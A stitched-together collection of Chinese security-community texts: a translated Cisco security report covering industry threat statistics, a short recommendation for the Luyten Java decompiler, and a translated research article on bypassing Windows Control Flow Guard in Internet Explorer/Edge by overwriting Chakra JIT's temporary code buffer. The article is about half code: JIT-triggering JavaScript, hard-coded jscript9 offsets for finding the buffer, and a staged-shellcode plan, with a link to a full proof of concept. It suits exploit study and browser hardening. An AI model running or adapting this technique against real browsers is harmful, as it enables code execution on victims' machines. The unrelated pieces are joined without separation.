公共部门中缺乏人力和安全工具对攻击破坏有一定的影响。53%的公共部门组织说过去他们处理过由于数据泄露引起的公共监督。我们应当假设攻击和破坏会发生在每个企业和组织身上。相关的问题是安全方向是由对攻击的反应推动的，而不是基于威胁的安全整体方法。因此，在响应即将面临的威胁上需要做的工作很多，而又没有足够的资源用于长期规划。
公共部门组织表示当破坏发生时，安全团队会从这些经验中学习：46%的受访者说破坏推动安全在一定范围内有了改善。然而，组织需要在技术上进行投资来走在安全破坏的前面，所以最好最小化风险、更有效地管理安全系统。
**外购可以增加价值，但是不会增加企业实力**
外购是公共部门获得更多的资源的一个重要策略。超过40%的受访者说他们在全部或部分外购像监控、审计这样的服务。在这些外购服务的组织中，大约一半引用洞察力、性价比、及时应急响应作为外购主要动因（图62）。
渗透和其他审计服务应该有外部组织来完成，但是有全部依赖外包服务的趋势，也就是说随着时间的推移，公共服务组织将不依赖自己的专家。公司内部的知识对于复杂攻击的防护是很重要的。自动化的解决方案的性价比和及时性比较好，但是应该在外部服务和专家之间有一个平衡来获取必要的洞察力和分析。
### Retail零售业
**主要的行业考虑**
当零售业遇上安全破环，这个消息会变得备受瞩目。因为对零售业的攻击会暴露客户经济数据和其他个人信息，攻击收到了媒体的注意并且需要扩大对客户的服务范围。不像医疗和其他行业，针对零售业的攻击和数据泄露会影响品牌的声誉。客户可以选择不同的零售商，如果他们认为一个零售商不注重安全，他们可能就会选择其他的零售商。比较著名的针对主要零售商的攻击让安全专家变得慌乱起来，在这些攻击中恶意软件会窃取用户信用卡数据。但是，不清楚零售商是否在意这些消息。零售商巨头可能会认为如果把信用卡数据保存在防火墙之内，那么这些信息就是安全的。但是如果传递给银行和其他合作商的数据是未加密的，那么零售商网络内的保护就不那么重要的。
**对安全的看法可能是过度自信的标志**
零售商一定程度上会认为他们的安全保护比较充分，认为与媒体每天报道的数据泄露数量不符。比如，61%的零售商安全专家完全同意他们保持了全部的PCI规范，63%的零售商安全专家完全同意机密客户信息在企业内部的生命循环中是安全的。为了保护数据，零售商在客户用信用卡和借记卡支付时，应该全部采用芯片和PIN技术，尤其是在美国，因为美国这样技术的使用比较少。现在银行和信用卡提供商在确保购买芯片和PIN系统的交易的诈骗的补偿，零售商可能需要跟上支付技术的应用。
**有目标的攻击和内部泄露是最大的忧虑**
持续关注收入减少和品牌声誉破坏的问题，零售商的安全专家说有目标的攻击（38%）和内部泄露（32%）对组织来说是最主要的安全威胁（图64）。来源于内部的攻击逐渐受到关注，也就是说基于检查IOCs的安全是不够的。企业需要动机来检查攻击的标志。为了检查复杂的目标攻击，像APT和钓鱼攻击，零售商需要区分正常和异常的流量模式，这这种流量模式每天、每周、每月可能都不相同。
**解决员工缺少的问题**
零售商在建立自己的安全资源时，在人力和工具方面会觉得手头拮据。24%的零售商安全专家说缺乏有经验的安全人员是应用高级安全过程和技术的主要障碍。由于缺乏安全人员，零售商也只能解决一部分的安全告警信息，45%的零售商每天会收到上千条告警消息，而零售商只能对其中的53%进行调查。其中27%的告警消息不是误报，而只能修复45%的合理告警消息。
当人员成为问题时，自动化的安全解决方案就变得更重要了。自动化可以帮助弥补人员缺乏所带来的问题，比如安全解决方案考虑了根据隔离的位置对受感染的设备自动分类。这样的话，感染不能传播，设备也不再能访问机密信息。自动化还可以帮助解决分布式环境的问题，这是零售业独有的挑战，比如减少工作人员需要解决的安全告警的数量。
物理位置和数据在地理分布上是分散的，所以安全团队必须假设这些位置都遵守了安全最佳实践。没有与远程位置进行持续通信，商店运行的安全方案可能没有打补丁并且过期很多年了。零售商可能使用外购来弥补人员缺少的差距。大约一半的零售安全专家说他们至少外购一部分的咨询和建议服务，45%的零售安全专家说他们一定程度上外购审计服务。在有外购的零售企业中，有一半个把性价比、洞察力、及时的应急响应作为选择的主要理由。
**公共破坏后零售业的收入和品牌声誉受到影响**
零售业意识到安全破坏对商业有实际的影响。去年，零售安全专家说运营、财务和品牌剩余是安全破坏带来负面影响最大的几个领域。54%说他们处理过数据泄露带来的公共监督。32%的说去年他们因为攻击收入减少（图65）。大约1/4的说因为攻击，他们失去了客户和经营机会。破坏可能是对零售企业的安全态度带来改变的主要点。只有29%的安全专家说公共破坏很大程度上改善了他们的安全状况，将近90%的零售业安全专家说一定程度上改善了安全状况。
### 制造业Manufacturing
**主要的行业考虑**
80%的美国工厂办厂时间超过20年了，他们会逐渐增加对是否有升级的防护措施的考虑。随着制造商向过期的机器添加了联网的设备，安全专家认为攻击者可能会找到利用漏洞的机会。自动化专家的另一个安全担忧是，有漏洞的系统能导致工厂停工。制造商想要尽一切可能避免意外的停工，以及被黑的设备运转不正常呆滞的产品质量问题。制造商安全专家所面临的挑战有升级老旧系统来预防攻击者的入侵行为。好消息是制造商可以采取一些简单的步骤来改善安全，但是这个过程是一个缓慢的过程，不能一下子解决所有的安全威胁。在实践最佳安全实践方面，还有一定的空间。
**对简化的系统的需求**
在升级和结合制造系统时，制造商需要把安全方案分解复杂的小问题。46%的制造商安全专家说他们有6个以上的安全服务厂商，20%说有超过10个的安全服务厂商。当问到产品时，63%的安全专家说他们使用6种以上的安全产品，有30%的安全专家说他们使用超过10种安全产品。
大量的产品和厂商的制造设置给安全专家一个很困惑的画面。其中的复杂性说明需要IT和OT团队一起来缩小对安全威胁的集中范围，比如使用那些可以解决最急迫安全威胁的产品。制造商朝着实施包括对物理资产进行保护的深度防御策略，比如关闭未管理交换机的端口或者在网络中使用管理的交换机。
**整合IT和IT团队的专家意见**
安全团队的组合可能在保护制造业的资产上存在阻碍。随着有专门制造系统知识的专家的退休，这些专门的制造系统并不会被取代，这会造成具有专业知识的人才流失。将近60%的制造业企业说他们专职从事安全的人员数量小于30人。25%的制造业企业称缺乏有经验的员工是使用高级安全过程好技术的主要障碍。除了增加内部的安全人才培养外，制造商还需要IT和OT部门共享知识。一般来说，IT的参与会在工厂边缘结束，之后OT部门会接管。而IT和OT之间的冲突是常见的，比如IT打补丁的过程可能会让运行在专门网络上的设备停机。制造商正在努力整合IT和OT部门来更好地理解安全威胁，并建立管理更多新技术的最佳实践。
**避免破坏可以改善竞争的状态**
对于企业中使用的老旧系统，制造商意识到出于安全原因和提高自己的竞争优势，需要改善和升级系统。根据Global Center for Digital
Business
Transformation的报告，40%的制造商在未来5年内受到市场破坏的影响，一部分原因是他们没有赶上高级竞争者的步伐。安全在竞争优势上占主要地位，因为安全可以帮助维持品牌声誉，避免收入减少和客户流失。
根据Cisco的调查报告，公共安全破坏会对制造业品牌带来负面影响，40%的制造业企业说过去发生过数据泄露引起的公共监督，28%说去年他们由于攻击遭受过损失。然而这些破坏可能会对改善安全带来动机，95%的制造业安全专家说他们公共破坏事假一定程度上推动安全情况的改善。
### 公用事业Utilities
**主要的行业忧虑**
2016年俄罗斯黑客攻击乌克兰电厂事件强调了公用事业在保护重要基础设施所面临的挑战。公用事业不在闭环监控和数据采集网络中运行，同样的远程监控和控制发电厂、传输和分发设备的控制中心工作站同时连接到商业网络和IT系统。由于已知的空间安全弱点和攻击带来的物理伤害，这些监控和控制物理过程的OT系统正在变成攻击的目标。2017年6月，研究者发现这种攻击用新的复杂等级的工具发起攻击。攻击者也用了直接使用控制协议的专门模块。在之前的攻击中，控制工具的远程操作是手动进行的。有了这些扩展，攻击可以定时和自动进行。IT和OT系统的普遍连接性和复杂性以及OT固件和软件的安全弱点，增加了需要保护的攻击面。随着公用事业在数字化他们的业务，他们正在增加应用新的软件技术，包括没有人工干预的感知、监控、推动物理过程。物理设备中的软件和嵌入式系统的融合，信息物理融合，增加了安全专家所面临的挑战。
关于信息物理融合的安全考虑已经扩展到了供应链。Federal Energy Regulatory Commission (FERC)最近指导North
American Energy Reliability Corporation
(NERC)开发了重要基础设施保护的新标准，尤其是公共事业供应链方面。这些标准是为了解决工业控制系统中与主要电子系统操作相关的工业控制系统软件、硬件、计算和网络服务。
**目标攻击和APT是主要忧虑**
目标攻击是公用事业和能源安全专家的主要忧虑。安全专家说目标攻击（42%）和APT攻击（40%）是他们企业组织所面临的最主要的安全威胁。手机服务、用户行为习惯、公共云存储和客户数据是他们防御策略的主要挑战。APT攻击有可能在重要网络设施中长期检测不到，这增加了攻击者可以带来的危害。因为数据网络在融合，连接的设备不断增多，所以潜在的危害比以前更大。因为公共事业的高知名度，他们的安全团队明显地意识到市场上的威胁技术，但是为了有效地应对APT和目标攻击，他们需要将这些技术结合的合适的方法的指导。他们理解安全的原因（why）。他们需要从安全厂商哪里知道的是how，即如何将分层的方法应用到价值链安全中，价值链安全包含物理安全和网络安全标准在内的元素。
他们网络的复杂性等于说公用事业和能源企业组织必须评定这些威胁告警消息的影响，并决定哪些值得修复。将近一般的公用事业和能源安全专家说，每天会有上千个告警消息，而他们智能对其中63%的告警进行调查处理。在进行调查的告警消息中，41%是威胁消息，而只修复了其中威胁的63%。这看起来只对一部分的威胁进行了调查，公共事业和能源行业在所有参与调研的行业中的告警修复率最高。而且，告警不等于威胁。安全专家可能把资源用在修复那些对网络安全有严重影响的威胁上。
**严格的预算控制会影响对外购的影响**
因为监管严格，公用事业和能源企业组织不能增加在安全方面的预算。增加资金需要各方的同意，这个过程耗时巨大。根据报告，这可能可以解释对外购安全的依赖。超过60%的公用事业安全专家说他们一定程度上外购服务建议和咨询建议。将近一半的公用事业专家说他们外购监控和威胁确保服务。在这些外购安全服务的公用事业组织中，超过一般的安全专家说性价比和洞察力是他们外购的主要原因。为了满足严格的监管控制的需求，公用事业可能要遵守一些安全策略和标准化步骤。大约2/3的公用事业安全专家说他们有正规的安全策略并遵循了诸如ISO
27001和NIST 800-53的标准化信息安全策略实践。
**公共破坏会推动安全改善**
当公共事业遭遇公共破坏，公众会认识到公用事业是重要基础设施的一部分，这种破坏和泄露会让重要服务处于威胁中。61%的公用事业组织报告说因为数据泄露，他们解决过工作监督的问题。好的方面是这种破坏会触发安全的改变，91%的安全专家说破坏会一定程度上推动安全改善。这就像把柠檬变成柠檬水，破坏（泄露）可以提供关于攻击者如何攻入网络的有用的洞察，向安全专家显示切入链，提供在那里安置安全控制的路线图。攻击能够影响公用事业的收入和客户的忠诚度。29%的安全专家说他们所在的公用事业单位去年因为攻击收入有损失，21%的说他们因为因为攻击失去了客户。因为许多顾客不会比较公用事业服务的购买，因为他们的区域可能只有一个供应商，客户的流失和收入的减少与其他竞争推动的行业相比并不明显。
**攻击模拟和演习是常见的事**
公用事业安全专家表明他们进行常规的模拟和演习来检测安全基础设施中的弱点。92%的安全专家说他们进行半年或年度的模拟来检测应急响应方案。在执行演习时，84%的组织说他们的安全伙伴也会参与。78%组织会至少每季度进行一次攻击模拟。45%安全专家说攻击模拟在很大程度上帮助改善安全状况。大量执行攻击模拟的组织的安全专家更多的使用自动化工具，自动化工具花费的时间和人力都更少。虽然公用事业面临一些最复杂的网络安全挑战，考虑到网络安全方法、实践和技术安全控制的应用，公用事业也是最成熟的。随着威胁的发展，重要基础设施提供商必须发展来找出、保护、检测、响应和从安全事件中恢复。
### 医疗行业Healthcare
**主要的行业考虑**
在医疗行业，关于安全的大多数决策是病人的安全推动的，而不是监管的需求和公司资产的保护。医疗组织的领导害怕针对记录关键任务的设备和危害病人生命安全的攻击。他们也担心设计用来监控在线流量和检测威胁的安全措施会减缓重要系统的数据流，破坏医疗专家诊断和治疗病人的能力。除了这些，医疗组织也认识到他们必须关注保护病人数据的安全系统。医疗组织把更多的设备互联，安全专家增加了对融合网络的安全考虑。过去，像图像归档收集系统、输液泵和监护设备这样的复杂医疗设备有厂商管理的数据网络，所以设备是与其他网络物理隔离的。现在，带宽增大了，医疗组织相信在一个网络里简化流数据是可行的，并且使用逻辑分片来分离不同的网络流量类型，比如医疗设备、管理和访客无线网络。但是如果分片不合理，攻击者访问重要数据和设备的风险就增大了。
**目标攻击是医疗安全团队的担忧**
勒索攻击已经对医疗组织带来了伤害。因为网络犯罪分子指导医疗服务提供者需要保护尽一切可能保护病人的安全，医疗行业成为越多网络犯罪的目标。在Cisco的研究中，37%的医疗组织说目标攻击是他们组织的高级安全威胁（图70）。目标网络攻击比诸如硬件丢失更加让人担忧，需要更加精准的方法来检测和解决威胁。
然而威胁总是比员工能够解决的要多，在很多行业都是如此。超过40%的医疗组织说他们每天会遇到上千个安全告警消息，然而只能调查其中的50%（图71）。在医疗安全团队调查的告警消息中，31%确实是威胁，但是只修复了48%。
根据Cisco安全专家的说法，被调查的告警消息远小于医疗安全团队负责人设想的，比如事实上只将威胁拦截在网络之外，leader会认为威胁已经解决了。这些组织只能够解决为数不多的告警消息，调查大量的告警消息会让安全和IT活动变慢，并影响其他商业功能。
**管理的挑战：缺乏有经验的员工和安全解决方案的复杂性**
许多医疗组织用一系列复杂的安全方案来应对安全挑战。60%的医疗组织说他们从6个以上的厂商的解决方案，29%的说使用10个以上厂商的解决方案。2/3的安全专家说他们使用6种以上的安全产品，41%的安全专家说他们使用超过10种安全产品。医疗安全专家使用的大量的厂商和产品可能会造成困惑、缺乏可见性以及到底什么设备在哪里的问题。
首席信息安全官（CISOs）和安全运维经理在安全工具上会有不同的看法。没有在安全管理的一线工作可能对网络中使用的工具没有很深入的理解。在管理安全方案的复杂网时对每天的威胁进行处理对医疗行业来说是个更大的挑战，因为缺乏有经验的人员。大约1/2的安全专家说他们的专职安全人员少于30个，21%的说他们认为缺乏有经验的人员是应用高级安全过程和技术的主要障碍。
**流量分片的意义The value of segmenting traffic**
允许特定的系统和设备使用不同的安全协议是医疗行业中额外的需求，这些需求也是关于病人安全的考虑。医疗设备是很贵的，而且会保存很多年，所以他们的软件和操作系统并不经常更新，因此要求设备可靠地运行也是额外的要求。安全专家说对医疗组织来说，隔离和对网络和重要设备之间的流量进行分离是更好的一个方法。另一种办法是组织应该改善他们的安全基础设施和网络分片来更好地处理需要补偿控制的例外。医疗组织平均有34个重要的安全管理例外，47%的例外有补偿控制。理想的情况是，医疗组织需要补偿控制的例外越少越好，因为这些例外在安全防御上会产生弱点。
### 运输业Transportation
**重要的行业考虑**
传统的运输业技术基础设施是基于封闭的专有系统。而运输业正在转向连接的网络，但是安全专家担心这个过渡的过程中会遭受攻击。但是因为增长的维护费用和现有系统的复杂性，转到连接IP的系统是一定会发生的。客户也需要新的安全和移动服务，这是现有的通信基础设施满足不了的。运输企业组织也想使用互联系统的便捷性，随着千禧一代加入他们的企业组织，这种需求会不断增长。
**APT和互联设备是主要威胁**
随着运输组织建立了复杂和互联的基础设施，并且看到增长的网络面带来的影响，不同的威胁就出来了。超过1/3的运输安全专家说APT威胁和BYOD、智能设备的使用是组织面临的主要安全威胁。59%的安全专家说云基础设施和运动设备是最具挑战的安全威胁（图72）。
为了满足信息访问的需求，运输业安全团队认为数据必须放在网络的边界，而且应该可以实时访问。控制对数据的访问和确保只对需要的人开放是安全实践者的关键考虑。他们也认为这个问题会立马变得棘手，他们必须要管理更多的更复杂的威胁。35%的运输业安全专家说他们每天会遇到上千个安全告警信息，只能调查其中的44%。而调查的告警信息中，只有19%是真实威胁，而只修复了大概33%的真实威胁。
**缺乏安全人才可能会导致外购**
有经验的安全人员可以帮助运输业应对安全挑战，但是这些组织是否能够吸引合适的人才是一个问题。超过一般的运输业安全从业人员说他们的专职安全人员小于30人。他们认识到缺乏安全知识的影响：29%的人认为缺乏有经验的人员是他们应用高级安全过程和技术的主要障碍。
随着安全运营能力变得更加复杂和有针对性，运输业组织吸引人才的可能性降低了。运输业当局需要能够招募、弥补和保留保护重要国家和本地基础设施所需要的高质量人才。没有足够的内部专家，许多运输业企业组织只能向外寻求帮助。大约一半的组织说他们外购一些甚至全部安全任务。外购的组织中，性价比（52%）和洞察力（44%）是主要原因。
标准化的信息安全实践，比如ISO 27001和NIST
800-53，可以帮助运输业组织遵循已经建立的安全基准。54%的运输业安全专家采用标准化的信息安全策略实践，2/3有正规的书面的安全策略（图73）。运输业组织已经意识到在组织中嵌入安全的价值，而不是简单的购买一个点的解决方案。75%的运输业组织拥有安全运营中心，14%的运输业组织说他们计划建立安全运营中心。90%的安全专家说他们的组织加入安全标准机构或行业组织，如PT-ISAC。
**模拟攻击可以带来安全改善**
与其他严格监管的行业类似，运输业是重要的基础设施，所以安全性至关重要。有80%的组织至少每季度进行一次模拟攻击。几乎一半的组织说模拟攻击的结果可以推动安全策略、步骤和技术的明显改进。公众数据泄露也可以带来改善。48%的运输安全专家说他们遇到过数据泄露引起的公共监督。虽然只有34%的受访者说泄露破坏在很大程度上改善了安全状况，但有83%说破坏一定程度上改善了他们的安全状况。破坏对行业持续性的影响。31%的安全专家说他们的组织去年因为攻击收入减少，平均收入损失9%。22%的安全专家说他们的组织因为攻击失去客户，27%的说他们因为攻击失去了一些商业机会。
### 金融业Finance
**主要的行业考虑**
金融业服务组织是网络犯罪的目标之一。客户金融数据和对账户用户名、密码的访问的价值，吸引网络犯罪分子对金融服务商业发起一系列的攻击。事实上，一些恶意软件作者设计了针对金融服务网络的特定攻击，比如窃取用户证书的恶意软件Dridex和Zeus木马。在这种环境下，金融服务业安全专家意识到他们的威胁防御应该能够有效防御来自复杂恶意软件发起的攻击。然而他们也知道他们被众多的安全厂商和产品所阻碍了，这些安全厂商和产品混淆了威胁而不是提供安全见解。
安全团队也面临把现有应用和新技术融合的艰巨任务，同时要确保没有安全问题出现。金融科技公司是金融服务企业组织的合作商，他们发现供给面在扩大，而且变得更加复杂。这些合作商如何对客户数据提供足够的保护呢？金融科技公司和外部企业面临什么样的严格监管需求？这些问题影响着该行业在未来几年中如何解决他们所面临的安全威胁。
金融业服务组织必须确保他们是符合监管要求和安全的。在许多严格监管的行业中，有一个趋势是任务满足监管要求就解决了所有安全问题。像网络分片这样的合规需求确实可以帮助保护数据，但是这只是阻止安全破坏和提供威胁分析的方案的一部分。
**多厂商的环境增加了迷惑、不确定**
金融业服务组织在多厂商环境下是正常的。57%的金融业服务组织说他们使用6个以上厂商的产品，29%的金融业服务组织说他们使用超过10个厂商的产品（图74）。2/3的金融业服务组织说他们使用6种以上的安全产品，33%使用超过10种安全产品。
Cisco的安全专家说在金融业，一个组织使用30个厂商的产品也是很常见的。为了快速和有效地响应新出现的威胁，这些组织应该关注与简化他们的安全架构：即用更少的工具，更多的集成。多种产品在同一环境下运行，从单个产品来说可能很有效，但是没有集成分析和关联安全信息，安全团队会忙于处理冲突的告警和报告。产品的增多也会影响安全专家调查威胁的方式。46%的金融业服务组织说他们每天会遇到上千个告警消息，只能对其中55%进行调查。调查的威胁中只有28%是真实的告警消息，而且只能修复其中的43%的真实告警。
太多的告警消息回归到来自多个厂商的产品没有集成的问题。应急相应团队可能不知道哪些告警是重复的，也不知道哪些告警的优先级低。产品不集成会限制安全团队关联和分析威胁的能力。
**数字业务可能推动改善**
随着金融服务组织持续与金融科技公司合作，他们会开发新的战略来改善安全状况，比如对数据安全提出责任划分。近一半的金融服务组织说数字业务在很大程度上影响安全，40%说金融科技、DevOps和双模式IT（bimodal
IT）都很大程度上影响安全（图75）。
**标准的应用应该加速**
如果金融服务组织在数字世界中安全地满足了客户需求，他们需要加速新策略和过程的应用。到目前为止，63%的金融组织有书面的正规安全战略。48%的组织应用了像ISO
270001和NIST 8000-53这样的标准化的信息安全策略实践。金融业服务属于保守行业，安全和IT
leader在考虑新标准和与目前安全战略的适配型上往往很慢。另一个金融业服务组织可以改善的方面是：要求厂商坚持建立的商业最佳实践。比如，37%的组织说他们与有ISO
27001认证的厂商合作。
Cisco安全专家认为，一个组织的安全成熟度可能决定了对厂商要求的严格度：与小公司相比，大规模的金融业服务组织可能会更严格的审核供应商。
# 结论
Cisco发布年度安全报告和半年安全报告的目的是告知他们支持的安全团队和企业已知的和正在出现的威胁和漏洞，告知他们如何让组织更加安全。内容的多样性反映了目前威胁场景的复杂性。这个研究也告诉我们防护者不仅取得一定成绩，也对威胁创造者如何以及在哪里运作有更好的理解。我们希望随着IOT的发展，防护者也可以继续保持这种优势。更加危险和更具破坏性的新的攻击类型正在发展，攻击者设计出影响巨大的、组织精密的攻击来阻碍企业的正常运行。因为攻击者知道企业的应急方案不能从破坏中重建所有的IT和OT，所以攻击者把企业的这种弱点作为他的优势。
这也说明了组织把网络安全作为优先战略的重要性。他们必须在安全工具上大量投资，这些安全工具应该能够帮助安全团队管理告警消息、对动态网络进行管理和获取可见性、快速对威胁进行检测和响应。必须花时间和资源来确保随时了解他们的IT环境和IT环境内应用是否正确和安全、以及是否更新。同时，安全环境需要去扩展关于如何创建一个开放的生态系统的思考和对话。这个开放的生态系统允许客户实施对组织最优的和最大限度利用投资的安全方案。在生态系统中，所有的安全方案能够互相通信，互相协作来保护用户和企业。防护者需要做的就是应对潜在威胁的挑战，这些威胁可能会破坏IOT网络，对运作在其之上的组织带来毁灭性的影响。
## 安全主管：安全越来越重要了
Cisco的Security Capabilities Benchmark
Study发现安全在许多组织内的优先级都比较高。安全专家也相信执行团队会把安全放在重要组织目标计划中。但是，2016年强烈同意行政领导考虑较高的安全的优先级的安全专家数量滑落到59%，2014年数量为63%，2015年数量为61%。这种信心的减少可能被误置了，然而首席信息安全官可能没有意识到高级管理团队和董事会不仅把网络安全作为一个高优先级，而且希望听到更多关于安全问题的消息。
根据National Association of Corporate Directors(NACD)的2016–2017 Public Company
Governance
Survey，1/4的董事会成员不满意管理团队关于网络安全的报告。报告中他们获取的信息没有考虑有效的基准，对问题不透明，很难理解。在同样的报告中，只有14%的被访者认为他们董事会关于网络安全威胁有比较高水平的理解。SAINT公司的安全专家说，首席信息安全官有机会帮助董事会成员弥补安全知识的差距，但是必须要：
* 坚持以一种对商业有意义和可操作的方式提供信息。关于组织的网络安全威胁和安全需求报告不应该太偏技术。尝试排列关于公司面临的传统威胁问题的讨论，并与商业优先级和期望的结果关联起来。强调网络安全如何能成为商业增长点和竞争力的标志。
* 在向管理层和董事会警告网络安全的重要性时，解释每个明确的安全条目对组织带来的影响，安全团队采取的调查威胁的措施，以及恢复正常操作需要的时间。
* 寻找企业组织中包括非技术部门主管在内的其他主管的加入。通过与组织内首席信息官、首席技术官、首席审计执行官、首席风险官等主管的协作，首席信息安全官可以直接与高级管理层和董事会接触，这将为讨论网络安全战略和帮助组织建立综合的安全项目提供机会。
* 首席信息安全官经常尝试为安全主动权提供安全资金。但是他们可能没有意识到现在可能是与管理层讨论预算问题的最理想的时间。Society for Information Management (SIM)的2017 IT趋势研究报告说，网络安全是组织投资的第三大领域，而在2013年，排名还是14。
SIM调查的调查参与者认为在IT领域内应该增加投资的排名中，网络安全排第二，而且是第一次出现在最令人担心的信息科技列表中。 | 社区文章 |
工具推荐：
在使用 `jd_gui` 反编译Java项目， 反编译失败的时候，不妨试试这个工具 `Luyten`
Java Decompiler Gui for Procyon
Apache License, Version 2.0
#### 安装方式
* 在 [github](https://github.com/deathmarine/Luyten) 中下载源码使用 maven编译打包即可 `mvn clean install`
* 直接下载 [点击下载 ](https://github.com/deathmarine/Luyten/releases/)
#### 界面截图
* * * | 社区文章 |
# 【技术分享】基于Chakra JIT的CFG绕过技术
|
##### 译文声明
本文是翻译文章，文章来源：theori.io
原文地址：<http://theori.io/research/chakra-jit-cfg-bypass>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**引言**
在本文中，我们将向读者介绍在攻击Internet
Explorer和Edge浏览器时可用于绕过Microsoft的控制流防护（CFG）的方法。我们以前的概念验证性质的漏洞利用代码是通过覆盖对象的函数指针来实现的。但是，当遇到CFG时，这种方法就不太好使了。我们假设攻击者已经获得了读写内存权限。
**背景知识**
CFG是微软近来为Windows系统添加一种安全防护机制。该机制通过间接调用/跳转指令的目标地址的高效检查来提供保护。如果您希望进一步了解CFG的更多详情，可以参阅参考文献[[1]](http://blog.trendmicro.com/trendlabs-security-intelligence/exploring-control-flow-guard-in-windows-10/)[[2]](https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/)[[3]](http://www.powerofcommunity.net/poc2014/mj0011.pdf)，所以我们不做深入细致的讲解。
虽然该缓解机制增加了控制流劫持型攻击的难度，但是CFG本身并不完美。该技术的设计目标是保护间接调用和跳转，所以，没有为堆栈（即ROP仍是可能的）提供保护。此外，值得注意的是，这是一个编译时插桩技术，需要重新编译源代码。尽管微软现在的许多二进制文件可以受益于CFG，但还有很多其他程序不是利用CFG保护机制编译的。
**Chakra JIT**
Chakra JIT负责为多次调用的函数和循环生成优化的JIT代码。这个过程分为多个阶段完成，其中Full JIT Compiler和Garbage
Collection阶段是在后台线程中进行的。如果您有兴趣的话，可以从MSDN上找到相关的工作流程和各种图释。
**JIT工作流程（摘自MSDN）**
我们关注的重点是Full JIT
Compiler阶段，它负责获取字节码和输出本地代码。针对单个函数或循环的高级处理是在Func::Codegen()中进行的。首先，它会生成字节码的中间表示（IR）。然后，这些IR将被转换若干次：优化、寄存器分配、prolog和epilog等。一旦IR准备就绪，就会被Encoder::Encode()编码为本地代码。
// https://github.com/Microsoft/ChakraCore/blob/master/lib/Backend/Encoder.cpp#L15
void
Encoder::Encode()
{
NoRecoverMemoryArenaAllocator localAlloc(_u("BE-Encoder"), m_func->m_alloc->GetPageAllocator(), Js::Throw::OutOfMemory);
m_tempAlloc = &localAlloc;
...
m_encodeBuffer = AnewArray(m_tempAlloc, BYTE, m_encodeBufferSize);
...
}
实际上，真正生成实际本地代码的任务是由Encoder完成的。首先，它会分配m_encodeBuffer来临时存放本地代码。当所有本地指令被发送到m_encodeBuffer之后，Encoder将对该缓冲区进行重新定位，将其复制到read-only-execute内存，并按照CFG的要求处理调用目标。此时，该临时缓冲区就不再使用，所以可以释放了。
// https://github.com/Microsoft/ChakraCore/blob/master/lib/Backend/Encoder.cpp#L294
...
m_encoderMD.ApplyRelocs((size_t) workItem->GetCodeAddress());
workItem->RecordNativeCode(m_func, m_encodeBuffer);
m_func->GetScriptContext()->GetThreadContext()->SetValidCallTargetForCFG((PVOID) workItem->GetCodeAddress());
...
注意，一旦代码被复制到可执行内存后，就很难修改了。但是，当Encoder在这个临时缓冲器中生成本地代码时，是无法防止攻击者利用写入内存权限来更改临时缓冲器中的代码的。由于JIT进程位于后台线程中，所以JavaScript线程仍然可以正常运行。攻击者的难点是找到该临时缓冲区，并在Encoder运行的极短时间内完成相应的修改任务。
**绕过CFG防护**
既然已经知道了修改JIT代码的基本方法，下面就让我们付诸行动，以便设法绕过CFG。
我们的过程分为三步：
触发JIT。
查找临时的本地代码缓冲区。
修改缓冲区的内容。
当然，这里隐含的最后一步是执行JIT处理过的代码。
**触发JIT**
第一步，也是最简单的一步，就是触发JIT，让它开始对一个函数进行编码。为了使第二步变得更容易一些，我们希望函数的代码多一些，以便我们有足够的时间在内存中寻找该临时缓冲区。当然，函数中的具体指令是无关紧要的。
var code = "var i = 10; var j = 1; ";
for (var i = 0; i < 6000; i++)
{
code += "i *= i + j.toString();";
}
code += "return i.toString();"
f = Function(code);
for (var i = 0; i < 1000; i++)
{
// trigger jit
f.call();
}
**查找本机代码缓冲区**
一旦后台线程进入Encoder::Encode()，我们需要快速找到临时本地代码缓冲区。发现缓冲区的一种方法是，找到给该缓冲区分配内存的页分配器，然后逐个查看它分配的内存段。我们注意到，可以先找到ThreadContext，然后找到该后台线程的BackgroundJobProcessor，这样就可以找到该页面分配器的引用了。
// find the ThreadContext using ThreadContext::globalListLast
var tctx = readN(jscript9Base + 0x00349034, 4);
// BackgroundJobProcessor
var bgjob = readN(tctx + 0x3b0, 4);
// PageAllocator
var pgalloc = bgjob + 0x1c;
PageAllocator具有若干已分配段的列表。由于经JIT处理过的函数会变大，所以该临时本地代码缓冲器也将很大。所以，通过检查largeSegments列表，我们就可以轻松找到该内存段了。我们可以使用一个while循环，这样一直等到这个largeSegments列表变为非空，然后进入最后一步。
while (true) {
// read largeSegments list
var largeseg = readN(pgalloc + 0x24, 4);
// check if the list was empty
if (largeseg == pgalloc + 0x24) continue;
// get the address of the actual data
var page = readN(largeseg + 8 + 8, 4);
if (page == 0) continue;
break;
}
**修改并运行**
现在，既然已经知道了临时本地代码缓冲区的位置，那么接下来就可以修改其内容来注入shellcode了。当然，按理说只要使用我们的shellcode覆盖缓冲区的内容就行了，但是实际上要比这个过程要复杂的多，因为我们必须避免覆盖未来在重定位步骤中将要修改的任何内容。因为用于触发JIT的函数需要多次调用toString()，同时还要避免重定位的影响，所以，实际上可用于shellcode的空间并不充裕。
虽然最佳之选是修改要进行JIT处理的函数，但这里选择使用first-stage
shellcode，它只是简单调用VirtualProtect，然后跳转到我们的second-stage shellcode。这个first-stage
shellcode通常是非常小（只有20个字节）的。所以 ，我们可以把first-stage
shellcode放到距这个缓冲区比较近的地方，然后在这个缓冲区的起始位置放上一个近转移指令，从而跳转至该代码。
这样的话，我们的second-stage
shellcode可以是任何长度，所以在我们的漏洞利用代码中，使用了一个metasploit生成shellcode来执行notepad.exe。实际上，这个second-stage shellcode还可以绕过保护模式（沙箱）。
在修改好临时缓冲区之后，我们将进入最后一步，就是进行等待，直到JIT处理完成并执行修改后的JIT代码。为此，你可以不断调用目标函数，直到你的shellcode得到执行为止。
for (var i = 0; i < 1000; i++)
{
// call overwritten jit block
f.call();
}
**漏洞利用**
为了演示这种绕过技术，我们借鉴了此前用于Windows 10上的Internet Explorer
11的利用代码，并进行了相应的修改。其中，获取读写内存权限的代码没有改变，但是在执行我们的shellcode的时候，使用的是JIT代码覆盖技术，而不是去覆盖触发CFG的函数指针。
你可以在<https://github.com/theori-io/jscript9-typedarray-cfg>页面中找到最终的概念验证漏洞利用代码。
**安全影响**
